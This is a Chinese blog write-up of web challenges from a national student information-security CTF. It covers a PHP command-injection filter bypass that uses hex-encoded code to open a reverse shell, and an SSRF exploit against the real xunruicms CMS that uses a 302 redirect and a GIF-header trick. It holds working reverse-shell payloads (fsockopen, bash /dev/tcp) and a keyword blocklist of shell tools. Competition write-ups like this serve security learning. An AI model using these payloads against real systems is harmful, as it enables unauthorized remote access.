第十七届全国大学生信息安全竞赛创新实践能力赛初赛-web

Simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

无参rce
可以用php -r 执行php代码
可以用16进制绕过反弹shell
这里hex2bin接收字符串,但是过滤了引号
substr不带引号传入参数虽然会报错但仍会执行

1
2
$shell = hex($sock=fsockopen("ip",6666);system("sh <&3 >&3 2>&3");)
cmd=php -r eval(hex2bin(substr(a$shell,1)));

flag在数据库中
1716091213182.jpg

easycms

扫到一个flag.php
后面提示

要ssrf来利用flag.php
找xunruicms的洞
在官网公示的漏洞里找到ssrf

https://codeload.github.com/dayrui/xunruicms/zip/refs/heads/master
dayrui\Fcms\Core\Helper.php

可以访问外链
利用302跳转绕过127.0.0.1 利用flag.php弹shell
在vps写一个302跳转的网页

1
<?php header('Location: http://127.0.0.1/flag.php?cmd=bash -c "bash -i >&/dev/tcp/ip/6666 0>&1"',true,302); exit(); ?>

payload

1
?s=api&c=api&m=qrcode&text=1&thumb=http://ip/&size=10&level=1

easycms_revenge

加了验证,利用GIF头绕过

1
GIF89a <?php echo "GIF89a"; header('Location: http://127.0.0.1/flag.php?cmd=bash -c "bash -i >&/dev/tcp/ip/6666 0>&1"',true,302); exit(); ?>
1
?s=api&c=api&m=qrcode&text=1&thumb=http://ip/&size=10&level=1

1716109886449.jpg


第十七届全国大学生信息安全竞赛创新实践能力赛初赛-web
http://example.com/2024/05/22/第十七届全国大学生信息安全竞赛创新实践能力赛初赛-web/
作者
J_0k3r
发布于
2024年5月22日
许可协议
BY J_0K3R